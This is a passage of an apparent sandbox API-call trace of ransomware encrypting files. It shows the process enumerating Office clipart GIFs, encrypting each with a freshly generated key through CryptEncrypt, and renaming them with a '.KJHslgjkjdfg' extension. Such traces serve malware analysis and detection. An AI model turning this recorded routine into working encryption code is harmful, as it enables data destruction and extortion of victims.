hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0196.002] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0196.002] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0196.002] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0196.002] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0196.002] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.002] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.002] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x38c, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x38c, lpOverlapped=0x0) returned 1 [0196.002] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x390, dwBufLen=0x390 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x390) returned 1 [0196.002] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.002] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x390, lpOverlapped=0x0) returned 1 [0196.003] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.003] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.003] SetEndOfFile (hFile=0x118) returned 1 [0196.005] GetProcessHeap () returned 0x2a0000 [0196.006] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.006] GetProcessHeap () returned 0x2a0000 [0196.006] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.006] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02039_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02039_.gif.kjhslgjkjdfg")) returned 1 [0196.008] CloseHandle (hObject=0x118) returned 1 [0196.008] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x987, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02055_.GIF", cAlternateFileName="")) returned 1 [0196.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02055_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0196.014] GetProcessHeap () returned 0x2a0000 [0196.014] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.015] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.015] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0196.015] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x9, lpOverlapped=0x0) returned 1 [0196.020] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0196.033] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.033] GetProcessHeap () returned 0x2a0000 [0196.033] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.033] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0196.033] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.033] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0196.033] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0196.033] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0196.033] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0196.033] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0196.034] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0196.034] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0196.034] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.034] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.034] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x987, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x987, lpOverlapped=0x0) returned 1 [0196.034] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x990, dwBufLen=0x990 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x990) returned 1 [0196.034] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.034] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x990, lpOverlapped=0x0) returned 1 [0196.034] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.034] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xa64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.034] SetEndOfFile (hFile=0x118) returned 1 [0196.045] GetProcessHeap () returned 0x2a0000 [0196.045] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.046] GetProcessHeap () returned 0x2a0000 [0196.046] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.046] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02055_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02055_.gif.kjhslgjkjdfg")) returned 1 [0196.059] CloseHandle (hObject=0x118) returned 1 [0196.059] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x37d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02073_.GIF", cAlternateFileName="")) returned 1 [0196.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02073_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0196.067] GetProcessHeap () returned 0x2a0000 [0196.067] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.067] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.068] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0196.074] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x3, lpOverlapped=0x0) returned 1 [0196.164] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0196.164] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.164] GetProcessHeap () returned 0x2a0000 [0196.164] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.164] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0196.164] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.164] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0196.164] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0196.164] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0196.164] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0196.165] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0196.165] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0196.165] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0196.165] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.165] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.166] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x37d, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x37d, lpOverlapped=0x0) returned 1 [0196.166] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x380, dwBufLen=0x380 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x380) returned 1 [0196.166] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.166] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x380, lpOverlapped=0x0) returned 1 [0196.167] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.167] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.167] SetEndOfFile (hFile=0x118) returned 1 [0196.193] GetProcessHeap () returned 0x2a0000 [0196.193] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.193] GetProcessHeap () returned 0x2a0000 [0196.193] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.193] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02073_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02073_.gif.kjhslgjkjdfg")) returned 1 [0196.195] CloseHandle (hObject=0x118) returned 1 [0196.195] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x516, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02074_.GIF", cAlternateFileName="")) returned 1 [0196.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02074_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0196.198] GetProcessHeap () returned 0x2a0000 [0196.198] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.199] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.200] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0196.200] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xa, lpOverlapped=0x0) returned 1 [0196.202] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0196.202] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.202] GetProcessHeap () returned 0x2a0000 [0196.202] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.202] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0196.202] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.202] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0196.203] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0196.203] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0196.203] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0196.203] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0196.203] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0196.203] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0196.203] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.203] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.203] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x516, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x516, lpOverlapped=0x0) returned 1 [0196.204] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x520, dwBufLen=0x520 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x520) returned 1 [0196.204] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.204] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x520, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x520, lpOverlapped=0x0) returned 1 [0196.204] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.204] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x5f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.204] SetEndOfFile (hFile=0x118) returned 1 [0196.207] GetProcessHeap () returned 0x2a0000 [0196.207] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.207] GetProcessHeap () returned 0x2a0000 [0196.207] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.207] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02074_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02074_.gif.kjhslgjkjdfg")) returned 1 [0196.209] CloseHandle (hObject=0x118) returned 1 [0196.209] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2fd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02077_.GIF", cAlternateFileName="")) returned 1 [0196.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02077_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0196.211] GetProcessHeap () returned 0x2a0000 [0196.211] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.211] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.211] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0196.211] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x3, lpOverlapped=0x0) returned 1 [0196.220] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0196.220] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.220] GetProcessHeap () returned 0x2a0000 [0196.220] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.220] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0196.220] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.220] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0196.220] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0196.220] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0196.220] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0196.220] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0196.220] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0196.220] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0196.221] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.221] 